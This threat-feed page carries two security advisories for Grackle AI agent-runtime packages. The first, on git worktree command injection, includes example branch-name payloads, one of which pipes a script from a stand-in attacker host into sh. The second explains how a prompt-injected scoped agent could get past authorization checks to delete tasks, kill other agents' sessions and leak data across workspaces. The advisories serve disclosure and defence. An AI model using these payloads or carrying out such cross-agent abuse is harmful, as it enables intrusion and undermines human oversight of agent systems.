Grackle AI - CraftedSignal Threat Feed

Grackle AI Runtime-SDK RCE via Git Worktree Command Injection

hello@craftedsignal.io — Fri, 03 Jul 2026 11:45:08 +0000

A critical command injection vulnerability (GHSA-vv65-f55v-xm6g) affects Grackle AI's @grackle-ai/runtime-sdk and @grackle-ai/powerline components, specifically versions 0.132.1 and earlier. The flaw stems from the NODE_GIT_EXECUTOR utilizing shell:true when executing git worktree operations, combined with the unsanitized branch name flowing from the SpawnSession gRPC request into the command arguments. This allows a malicious or compromised agent, or any client able to initiate a task via the SpawnSession RPC, to inject arbitrary shell commands. These commands are then executed with the privileges of the PowerLine user on provisioned environments, including SSH hosts, Docker containers, and Codespaces, effectively enabling remote code execution and escaping the agent's sandbox. A secondary, less impactful, argument injection vulnerability also exists due to a missing -- separator.

Attack Chain

An attacker gains the ability to make calls to the PowerLine SpawnSession gRPC RPC. This could be through a compromised agent within the victim's environment, a malicious internal actor, or by exploiting another external vulnerability that exposes this RPC.
The attacker crafts a Git branch name containing shell metacharacters and arbitrary commands, for example, x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned).
The attacker sends a SpawnSession gRPC request to the PowerLine server, providing the crafted malicious branch name as a parameter within the request payload.
The vulnerable ensureWorktree function, located in packages/runtime-sdk/src/worktree.ts, prepares to execute a git worktree add command using the NODE_GIT_EXECUTOR.exec function.
Due to the shell:true option being implicitly passed to NODE_GIT_EXECUTOR.exec, Node.js concatenates the git command and its arguments (including the malicious branch name) into a single string.
This concatenated string is then passed to sh -c, which interprets the shell metacharacters and executes the attacker's injected commands embedded within the branch name.
The injected commands (e.g., curl to download and execute a malicious script, touch for arbitrary file creation) are executed by the sh -c process with the privileges of the PowerLine user.
The attacker successfully achieves remote code execution, gaining control over the targeted provisioned environment (SSH host, Docker container, or Codespace) as the PowerLine user.

Impact

Successful exploitation of this vulnerability leads to remote code execution (RCE) with the privileges of the PowerLine user on any provisioned environment where the Grackle AI runtime is deployed. This allows attackers to escape the agent sandbox, gain full control over the affected host (be it an SSH host, Docker container, or Codespace), and potentially access sensitive data, escalate privileges, or establish persistence within the victim's infrastructure. While no specific victim count or targeted sectors are mentioned, any organization utilizing Grackle AI's runtime-sdk in their development or deployment pipelines is at risk.

Recommendation

Prioritize patching the affected Grackle AI components to address GHSA-vv65-f55v-xm6g by updating @grackle-ai/runtime-sdk and @grackle-ai/powerline beyond version 0.132.1.
Deploy the Sigma rule "Detect GHSA-vv65-f55v-xm6g Grackle AI RCE via Git Worktree Injection" to your SIEM and tune for your environment to identify potential exploitation attempts.
Review the remediation steps for GHSA-vv65-f55v-xm6g which include removing shell:true from NODE_GIT_EXECUTOR and adding -- separators for git worktree add invocations.
Implement defense-in-depth measures by validating the branch parameter at the gRPC boundary in grpc-server.ts to reject names containing shell metacharacters or invalid Git ref rules.

Grackle AI MCP Tool Layer Fail-Open Authorization Leads to IDOR and Privilege Escalation (GHSA-f9ff-5x35-7gfw)

hello@craftedsignal.io — Fri, 03 Jul 2026 11:35:34 +0000

Grackle AI's Multi-Agent Collaboration Protocol (MCP) tool layer, including @grackle-ai/mcp, @grackle-ai/plugin-core, and @grackle-ai/auth up to version 0.132.1, contains critical authorization bypass vulnerabilities (GHSA-f9ff-5x35-7gfw). The core issue stems from inconsistent inline authorization checks within the tool layer, which is the sole authorization boundary for scoped callers. Because the MCP server authenticates all outbound gRPC with a full server API key and backend gRPC handlers perform no caller-based authorization, several mutating tools (task_update, task_delete, task_resume, session_kill, session_resume) silently omit necessary ancestry/workspace checks, effectively "failing open." This allows a malicious or prompt-injected scoped agent to perform unauthorized cross-task and cross-session operations, enabling IDOR, privilege escalation, and denial of service. Additionally, a flaw in handling workspaceless sessions allows for cross-workspace read-only data disclosure. The vulnerability was published on July 2, 2026.

Attack Chain

Initial Access/Compromise: An attacker gains control over an existing Grackle AI "scoped agent" within a customer environment, potentially through prompt injection, misconfiguration, or compromising the underlying system hosting the agent.
Task ID Enumeration (F2): The compromised scoped agent leverages legitimate tools like task_list or task_search to discover taskId values belonging to other tasks, including those of sibling agents, parent tasks, or tasks in different workspaces.
Cross-Workspace Discovery (F7): If the compromised agent operates from a workspaceless session, it exploits the workspaceId: undefined bypass in mcp-server.ts to call task_list (without arguments) and retrieve information about all tasks across all workspaces within the Grackle AI instance.
Unauthorized Data Disclosure (F7): Using the enumerated taskId values, the agent then calls task_show {taskId} or schedule_show to access and potentially exfiltrate sensitive details (e.g., title, description, branch, review notes) from tasks it is not authorized to view across workspaces.
Task Data Manipulation/Destruction (F2): The agent invokes task_update, task_delete, or task_resume with arbitrary taskId values (bypassing ancestry checks), allowing it to modify (e.g., change status to complete/failed, rewrite dependency DAG/budgets) or permanently delete tasks belonging to other agents or the human orchestrator.
Session Denial of Service / Hijacking (F6): The agent calls session_kill {sessionId} or session_resume {sessionId} (bypassing ancestry checks) to terminate or resume active sessions of other agents or the root orchestrator, leading to a denial of service or unauthorized session control.

Impact

The vulnerabilities allow a compromised Grackle AI scoped agent to escalate privileges, gain unauthorized access to sensitive data, and disrupt operations. Specifically, attackers can permanently destroy other agents' or the human orchestrator's work, corrupt task dependency graphs and budgets, terminate other active sessions (leading to a denial of service for sibling agents or the root orchestrator), hijack foreign sessions, and exfiltrate sensitive task metadata (titles, descriptions, branch info, review notes) from any workspace. The "fail-open" nature means new tools can introduce similar vulnerabilities if ancestry checks are omitted, making the system inherently fragile. The advisory covers systemic findings F2, F6, F7, and F12.

Recommendation

Prioritize updating all @grackle-ai/mcp, @grackle-ai/plugin-core, and @grackle-ai/auth packages to versions greater than 0.132.1 to address GHSA-f9ff-5x35-7gfw.
Ensure that the remediation for GHSA-f9ff-5x35-7gfw, specifically the enforcement of scope centrally in the CallToolRequest dispatcher (mcp-server.ts) via targetTaskIdArg / targetSessionIdArg descriptors, is fully implemented and operational.
Verify that assertCallerIsAncestor or equivalent self-or-ancestor checks have been added to task_update, task_delete, task_resume, session_kill, and session_resume as described in the remediation for GHSA-f9ff-5x35-7gfw.
Confirm that the fix for F7, preventing failure-open on empty workspaceId and applying task_show membership checks for all scoped non-root callers, is properly deployed per GHSA-f9ff-5x35-7gfw.
If scoped-token.ts (F12) is wired into task-abort/stop flows with SQLite-backed persistence, ensure this feature is functional to allow for proper scoped token revocation, as recommended in GHSA-f9ff-5x35-7gfw.